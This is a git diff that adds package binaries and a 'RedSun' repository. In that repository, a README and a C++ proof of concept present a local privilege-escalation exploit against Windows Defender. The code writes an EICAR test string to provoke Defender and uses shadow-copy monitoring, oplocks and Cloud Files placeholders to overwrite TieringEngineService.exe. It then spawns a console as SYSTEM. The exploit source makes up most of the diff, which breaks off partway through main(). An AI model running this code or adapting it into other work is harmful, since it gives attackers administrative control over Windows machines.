+ + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + +
+
diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/de/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/de/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..cb2f698 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/de/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/es/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/es/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..c76cd09 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/es/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/fr/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/fr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..87db2b1 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/fr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/it/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/it/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..3e03d3a Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/it/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/ja/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/ja/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..b86bdde Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/ja/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/pl/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/pl/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..1ac3fca Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/pl/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/ru/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/ru/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..74f768f Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/ru/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/sv/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/sv/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..cbbfdc7 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/sv/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/tr/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/tr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..871fc5f Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/tr/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..0146305 Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..e53f18e Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netstandard2.1/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/tsnew48.png b/MiniPlasma/packages/TaskScheduler.2.12.2/tsnew48.png new file mode 100644 index 0000000..32ae11c Binary files /dev/null and b/MiniPlasma/packages/TaskScheduler.2.12.2/tsnew48.png differ diff --git a/RedSun/LICENSE b/RedSun/LICENSE new file mode 100644 index 0000000..c30f3fd --- /dev/null +++ b/RedSun/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 Nightmare-Eclipse + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/RedSun/README.md b/RedSun/README.md new file mode 100644 index 0000000..20850f7 --- /dev/null +++ b/RedSun/README.md @@ -0,0 +1,9 @@ +# RedSun +The Red Sun vulnerability repository + +Now, normally I would just drop the PoC code and let people figure it out. But I can't for this one, it's way too funny. +When Windows Defender realizes that a malicious file has a cloud tag, for whatever stupid and hilarious reason, the antivirus that's supposed to protect decides that it is a good idea to just rewrite the file it found again to it's original location. The PoC abuses this behaviour to overwrite system files and gain administrative privileges. + +I think antimalware products are supposed to remove malicious files not be sure they are there but that's just me. + +![BottomText](redsun.jpg) diff --git a/RedSun/RedSun.cpp b/RedSun/RedSun.cpp new file mode 100644 index 0000000..eb165d4 --- /dev/null +++ b/RedSun/RedSun.cpp @@ -0,0 +1,777 @@ + + +// It gets funnier as time passes... + +#define _CRT_SECURE_NO_WARNINGS +#include +#include +#include +#include +#include +#include + +#pragma comment(lib,"synchronization.lib") +#pragma comment(lib,"sas.lib") +#pragma comment(lib,"ntdll.lib") +#pragma comment(lib,"CldApi.lib") + + +typedef struct _FILE_DISPOSITION_INFORMATION_EX { + ULONG Flags; +} FILE_DISPOSITION_INFORMATION_EX, * PFILE_DISPOSITION_INFORMATION_EX; + +typedef struct _FILE_RENAME_INFORMATION { +#if (_WIN32_WINNT >= _WIN32_WINNT_WIN10_RS1) + union { + BOOLEAN ReplaceIfExists; // FileRenameInformation + ULONG Flags; // FileRenameInformationEx + } DUMMYUNIONNAME; +#else + BOOLEAN ReplaceIfExists; +#endif + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_RENAME_INFORMATION, * PFILE_RENAME_INFORMATION; + +typedef struct _OBJECT_DIRECTORY_INFORMATION { + UNICODE_STRING Name; + UNICODE_STRING TypeName; +} OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION; + + +typedef struct _REPARSE_DATA_BUFFER { + ULONG ReparseTag; + USHORT ReparseDataLength; + USHORT Reserved; + union { + struct { + USHORT SubstituteNameOffset; + USHORT SubstituteNameLength; + USHORT PrintNameOffset; + USHORT PrintNameLength; + ULONG Flags; + WCHAR PathBuffer[1]; + } SymbolicLinkReparseBuffer; + struct { + USHORT SubstituteNameOffset; + USHORT SubstituteNameLength; + USHORT PrintNameOffset; + USHORT PrintNameLength; + WCHAR PathBuffer[1]; + } MountPointReparseBuffer; + struct { + UCHAR DataBuffer[1]; + } GenericReparseBuffer; + } DUMMYUNIONNAME; +} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER; + +#define REPARSE_DATA_BUFFER_HEADER_LENGTH FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer) + + + +HMODULE h = LoadLibrary(L"ntdll.dll"); +HMODULE hm = GetModuleHandle(L"ntdll.dll"); +NTSTATUS(WINAPI* _NtOpenDirectoryObject)( + PHANDLE DirectoryHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes + ) = (NTSTATUS(WINAPI*)( + PHANDLE DirectoryHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes + ))GetProcAddress(hm, "NtOpenDirectoryObject");; +NTSTATUS(WINAPI* _NtQueryDirectoryObject)( + HANDLE DirectoryHandle, + PVOID Buffer, + ULONG Length, + BOOLEAN ReturnSingleEntry, + BOOLEAN RestartScan, + PULONG Context, + PULONG ReturnLength + ) = (NTSTATUS(WINAPI*)( + HANDLE DirectoryHandle, + PVOID Buffer, + ULONG Length, + BOOLEAN ReturnSingleEntry, + BOOLEAN RestartScan, + PULONG Context, + PULONG ReturnLength + ))GetProcAddress(hm, "NtQueryDirectoryObject"); +NTSTATUS(WINAPI* _NtSetInformationFile)( + HANDLE FileHandle, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + FILE_INFORMATION_CLASS FileInformationClass + ) = (NTSTATUS(WINAPI*)( + HANDLE FileHandle, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + FILE_INFORMATION_CLASS FileInformationClass + ))GetProcAddress(hm, "NtSetInformationFile"); + + + +struct LLShadowVolumeNames +{ + wchar_t* name; + LLShadowVolumeNames* next; +}; +void DestroyVSSNamesList(LLShadowVolumeNames* First) +{ + while (First) + { + free(First->name); + LLShadowVolumeNames* next = First->next; + free(First); + First = next; + } +} + +LLShadowVolumeNames* RetrieveCurrentVSSList(HANDLE hobjdir, bool* criticalerr, int* vscnumber) +{ + + + if (!criticalerr || !vscnumber) + return NULL; + + *vscnumber = 0; + ULONG scanctx = 0; + ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2); + ULONG retsz = 0; + OBJECT_DIRECTORY_INFORMATION* objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz); + if (!objdirinfo) + { + printf("Failed to allocate required buffer to query object manager directory.\n"); + *criticalerr = true; + return NULL; + } + ZeroMemory(objdirinfo, reqsz); + NTSTATUS stat = STATUS_SUCCESS; + do + { + stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, FALSE, &scanctx, &retsz); + if (stat == STATUS_SUCCESS) + break; + else if (stat != STATUS_MORE_ENTRIES) + { + printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat); + *criticalerr = true; + return NULL; + } + + free(objdirinfo); + reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100; + objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz); + if (!objdirinfo) + { + printf("Failed to allocate required buffer to query object manager directory.\n"); + *criticalerr = true; + return NULL; + } + ZeroMemory(objdirinfo, reqsz); + } while (1); + void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION)); + ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)); + LLShadowVolumeNames* LLVSScurrent = NULL; + LLShadowVolumeNames* LLVSSfirst = NULL; + for (ULONG i = 0; i < ULONG_MAX; i++) + { + if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0) + { + free(emptybuff); + break; + } + if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0) + { + wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" }; + if (objdirinfo[i].Name.Length >= sizeof(cmpstr)) + { + if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0) + { + (*vscnumber)++; + if (LLVSScurrent) + { + LLVSScurrent->next = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames)); + if (!LLVSScurrent->next) + { + printf("Failed to allocate memory.\n"); + *criticalerr = true; + DestroyVSSNamesList(LLVSSfirst); + return NULL; + } + ZeroMemory(LLVSScurrent->next, sizeof(LLShadowVolumeNames)); + LLVSScurrent = LLVSScurrent->next; + LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t)); + if (!LLVSScurrent->name) + { + printf("Failed to allocate memory !!!\n"); + *criticalerr = true; + return NULL; + } + ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t)); + memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length); + } + else + { + LLVSSfirst = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames)); + if (!LLVSSfirst) + { + printf("Failed to allocate memory.\n"); + *criticalerr = true; + return NULL; + } + ZeroMemory(LLVSSfirst, sizeof(LLShadowVolumeNames)); + LLVSScurrent = LLVSSfirst; + LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t)); + if (!LLVSScurrent->name) + { + printf("Failed to allocate memory !!!\n"); + *criticalerr = true; + return NULL; + } + ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t)); + memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length); + + } + + } + } + } + + + + + } + free(objdirinfo); + return LLVSSfirst; + + +} + + +HANDLE gevent = CreateEvent(NULL, FALSE, NULL, NULL); + +DWORD WINAPI ShadowCopyFinderThread(wchar_t* foo) +{ + + wchar_t devicepath[] = L"\\Device"; + UNICODE_STRING udevpath = { 0 }; + RtlInitUnicodeString(&udevpath, devicepath); + OBJECT_ATTRIBUTES objattr = { 0 }; + InitializeObjectAttributes(&objattr, &udevpath, OBJ_CASE_INSENSITIVE, NULL, NULL); + NTSTATUS stat = STATUS_SUCCESS; + HANDLE hobjdir = NULL; + stat = _NtOpenDirectoryObject(&hobjdir, 0x0001, &objattr); + if (stat) + { + printf("Failed to open object manager directory, error : 0x%0.8X", stat); + return 1; + } + bool criterr = false; + int vscnum = 0; + LLShadowVolumeNames* vsinitial = RetrieveCurrentVSSList(hobjdir, &criterr, &vscnum); + + if (criterr) + { + printf("Unexpected error while listing current volume shadow copy volumes\n"); + ExitProcess(1); + } + + + bool restartscan = false; + ULONG scanctx = 0; + ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2); + ULONG retsz = 0; + OBJECT_DIRECTORY_INFORMATION* objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz); + if (!objdirinfo) + { + printf("Failed to allocate required buffer to query object manager directory.\n"); + ExitProcess(1); + } + ZeroMemory(objdirinfo, reqsz); + stat = STATUS_SUCCESS; + bool srchfound = false; +scanagain: + do + { + scanctx = 0; + stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, restartscan, &scanctx, &retsz); + if (stat == STATUS_SUCCESS) + break; + else if (stat != STATUS_MORE_ENTRIES) + { + printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat); + ExitProcess(1); + } + + free(objdirinfo); + reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100; + objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz); + if (!objdirinfo) + { + printf("Failed to allocate required buffer to query object manager directory.\n"); + ExitProcess(1); + } + ZeroMemory(objdirinfo, reqsz); + } while (1); + void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION)); + if (!emptybuff) + { + printf("Failed to allocate memory !!!"); + ExitProcess(1); + } + ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)); + wchar_t newvsspath[MAX_PATH] = { 0 }; + wcscpy(newvsspath, L"\\Device\\"); + + for (ULONG i = 0; i < ULONG_MAX; i++) + { + if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0) + { + free(emptybuff); + emptybuff = NULL; + break; + } + if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0) + { + wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" }; + if (objdirinfo[i].Name.Length >= sizeof(cmpstr)) + { + if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0) + { + // check against the list if there this is a unique VS Copy + LLShadowVolumeNames* current = vsinitial; + bool found = false; + while (current) + { + if (_wcsicmp(current->name, objdirinfo[i].Name.Buffer) == 0) + { + found = true; + break; + } + current = current->next; + } + if (found) + continue; + else + { + srchfound = true; + wcscat(newvsspath, objdirinfo[i].Name.Buffer); + break; + } + } + } + } + } + + if (!srchfound) { + restartscan = true; + goto scanagain; + } + if (objdirinfo) + free(objdirinfo); + NtClose(hobjdir); + + wchar_t malpath[MAX_PATH] = { 0 }; + wcscpy(malpath, newvsspath); + wcscat(malpath, &foo[2]); + UNICODE_STRING _malpath = { 0 }; + RtlInitUnicodeString(&_malpath, malpath); + OBJECT_ATTRIBUTES objattr2 = { 0 }; + InitializeObjectAttributes(&objattr2, &_malpath, OBJ_CASE_INSENSITIVE, NULL, NULL); + IO_STATUS_BLOCK iostat = { 0 }; + HANDLE hlk = NULL; +retry: + stat = NtCreateFile(&hlk, DELETE | SYNCHRONIZE, &objattr2, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, NULL, NULL, NULL); + if (stat == STATUS_NO_SUCH_DEVICE) + goto retry; + if (stat) + { + printf("Failed to open file, error : 0x%0.8X\n", stat); + return 1; + + } + printf("The sun is shinning...\n"); + + + OVERLAPPED ovd = { 0 }; + ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); + DeviceIoControl(hlk, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd); + if (GetLastError() != ERROR_IO_PENDING) + { + printf("Failed to request a batch oplock on the update file, error : %d", GetLastError()); + return 0; + } + + + DWORD nbytes = 0; + SetEvent(gevent); + ResetEvent(gevent); + GetOverlappedResult(hlk, &ovd, &nbytes, TRUE); + + WaitForSingleObject(gevent, INFINITE); + + + CloseHandle(hlk); + WakeByAddressAll(&gevent); + CloseHandle(gevent); + gevent = NULL; + + return ERROR_SUCCESS; +} + + +void rev(char* s) { + + // Initialize l and r pointers + int l = 0; + int r = strlen(s) - 1; + char t; + + // Swap characters till l and r meet + while (l < r) { + + // Swap characters + t = s[l]; + s[l] = s[r]; + s[r] = t; + + // Move pointers towards each other + l++; + r--; + } +} + + +void DoCloudStuff(wchar_t* syncroot, wchar_t* filename, DWORD filesz = 0x1000) +{ + + CF_SYNC_REGISTRATION cfreg = { 0 }; + cfreg.StructSize = sizeof(CF_SYNC_REGISTRATION); + cfreg.ProviderName = L"SERIOUSLYMSFT"; // let's see how long you can play this game, I'm willing to go as far as you want. + cfreg.ProviderVersion = L"1.0"; + CF_SYNC_POLICIES syncpolicy = { 0 }; + syncpolicy.StructSize = sizeof(CF_SYNC_POLICIES); + syncpolicy.HardLink = CF_HARDLINK_POLICY_ALLOWED; + syncpolicy.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL; + syncpolicy.Hydration.Modifier = CF_HYDRATION_POLICY_MODIFIER_NONE; + syncpolicy.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_DEFAULT; + syncpolicy.InSync = CF_INSYNC_POLICY_NONE; + HRESULT hs = CfRegisterSyncRoot(syncroot, &cfreg, &syncpolicy, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT); + if (hs) + { + printf("Failed to register syncroot, hr = 0x%0.8X\n", hs); + return; + } + + CF_CALLBACK_REGISTRATION callbackreg[1]; + callbackreg[0] = { CF_CALLBACK_TYPE_NONE, NULL }; + void* callbackctx = NULL; + CF_CONNECTION_KEY cfkey = { 0 }; + hs = CfConnectSyncRoot(syncroot, callbackreg, callbackctx, CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO | CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH, &cfkey); + if (hs) + { + printf("Failed to connect to syncroot, hr = 0x%0.8X\n", hs); + return; + } + + SYSTEMTIME systime = { 0 }; + FILETIME filetime = { 0 }; + GetSystemTime(&systime); + SystemTimeToFileTime(&systime, &filetime); + + FILE_BASIC_INFO filebasicinfo = { 0 }; + filebasicinfo.FileAttributes = FILE_ATTRIBUTE_NORMAL; + CF_FS_METADATA fsmetadata = { filebasicinfo, {filesz} }; + CF_PLACEHOLDER_CREATE_INFO placeholder[1] = { 0 }; + placeholder[0].RelativeFileName = filename; + placeholder[0].FsMetadata = fsmetadata; + + + GUID uid = { 0 }; + wchar_t wuid[100] = {0}; + CoCreateGuid(&uid); + StringFromGUID2(uid, wuid,100); + placeholder[0].FileIdentity = wuid; + placeholder[0].FileIdentityLength = lstrlenW(wuid) * sizeof(wchar_t); + placeholder[0].Flags = CF_PLACEHOLDER_CREATE_FLAG_SUPERSEDE | CF_PLACEHOLDER_CREATE_FLAG_MARK_IN_SYNC; + DWORD processedentries = 0; + //WaitForSingleObject(hevent, INFINITE); + hs = CfCreatePlaceholders(syncroot, placeholder, 1, CF_CREATE_FLAG_STOP_ON_ERROR, &processedentries); + if (hs) + { + printf("Failed to create placeholder file, error : 0x%0.8X\n", hs); + return; + } + return; + + +} + + +void LaunchConsoleInSessionId() +{ + + HANDLE hpipe = CreateFile(L"\\??\\pipe\\REDSUN", GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hpipe == INVALID_HANDLE_VALUE) + return; + DWORD sessionid = 0; + if (!GetNamedPipeServerSessionId(hpipe, &sessionid)) + return; + CloseHandle(hpipe); + HANDLE htoken = NULL; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &htoken)) + return; + HANDLE hnewtoken = NULL; + bool res = DuplicateTokenEx(htoken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &hnewtoken); + CloseHandle(htoken); + if (!res) + return; + + res = SetTokenInformation(hnewtoken, TokenSessionId, &sessionid, sizeof(DWORD)); + if (!res) + { + CloseHandle(hnewtoken); + return; + } + + STARTUPINFO si = { 0 }; + PROCESS_INFORMATION pi = { 0 }; + CreateProcessAsUser(hnewtoken, L"C:\\Windows\\System32\\conhost.exe", NULL, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi); + + CloseHandle(hnewtoken); + + if (pi.hProcess) + CloseHandle(pi.hProcess); + if (pi.hThread) + CloseHandle(pi.hThread); + return; + +} + +bool IsRunningAsLocalSystem() +{ + + HANDLE htoken = NULL; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htoken)) { + printf("OpenProcessToken failed, error : %d\n", GetLastError()); + return false; + } + TOKEN_USER* tokenuser = (TOKEN_USER*)malloc(MAX_SID_SIZE + sizeof(TOKEN_USER)); + DWORD retsz = 0; + bool res = GetTokenInformation(htoken, TokenUser, tokenuser, MAX_SID_SIZE + sizeof(TOKEN_USER), &retsz); + CloseHandle(htoken); + if (!res) + return false; + bool ret = IsWellKnownSid(tokenuser->User.Sid, WinLocalSystemSid); + if (ret) { + LaunchConsoleInSessionId(); + ExitProcess(0); + } + return ret; +} +bool r = IsRunningAsLocalSystem(); + +void LaunchTierManagementEng() +{ + CoInitialize(NULL); + GUID guidObject = { 0x50d185b9,0xfff3,0x4656,{0x92,0xc7,0xe4,0x01,0x8d,0xa4,0x36,0x1d} }; + void* ret = NULL; + HRESULT hr = CoCreateInstance(guidObject, NULL, CLSCTX_LOCAL_SERVER, guidObject, &ret); + + + CoUninitialize(); +} + +int main() +{ + HANDLE hpipe = CreateNamedPipe(L"\\??\\pipe\\REDSUN", PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE, NULL, 1, NULL, NULL, NULL,NULL); + if (hpipe == INVALID_HANDLE_VALUE) + return 1; + + wchar_t workdir[MAX_PATH] = { 0 }; + ExpandEnvironmentStrings(L"%TEMP%\\RS-", workdir, MAX_PATH); + + GUID uid = { 0 }; + wchar_t wuid[100] = { 0 }; + CoCreateGuid(&uid); + StringFromGUID2(uid, wuid, 100); + wcscat(workdir, wuid); + wchar_t filename[] = L"TieringEngineService.exe"; + wchar_t foo[MAX_PATH]; + wsprintf(foo, L"%ws\\%ws", workdir, filename); + + DWORD tid = 0; + HANDLE hthread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)ShadowCopyFinderThread, foo, NULL, &tid); + + if (!CreateDirectory(workdir, NULL)) + { + printf("Failed to create workdir"); + return 1; + } + HANDLE hfile = CreateFile(foo, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + if (hfile == INVALID_HANDLE_VALUE) + { + printf("Failed create spoof work file.\n"); + return 1; + } + char eicar[] = "*H+H$!ELIF-TSET-SURIVITNA-DRADNATS-RACIE$}7)CC7)^P(45XZP\\4[PA@%P!O5X"; + rev(eicar); + DWORD nwf = 0; + WriteFile(hfile, eicar, sizeof(eicar) - 1, &nwf, NULL); + + // trigger AV response + CreateFile(foo, GENERIC_READ | FILE_EXECUTE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (WaitForSingleObject(gevent, 120000) != WAIT_OBJECT_0) + { + printf("PoC timed out, is real time protection enabled ?"); + return 1; + } + + IO_STATUS_BLOCK iostat = { 0 }; + FILE_DISPOSITION_INFORMATION_EX fdiex = { 0x00000001 | 0x00000002 }; + _NtSetInformationFile(hfile, &iostat, &fdiex, sizeof(fdiex), (FILE_INFORMATION_CLASS)64); + CloseHandle(hfile); + 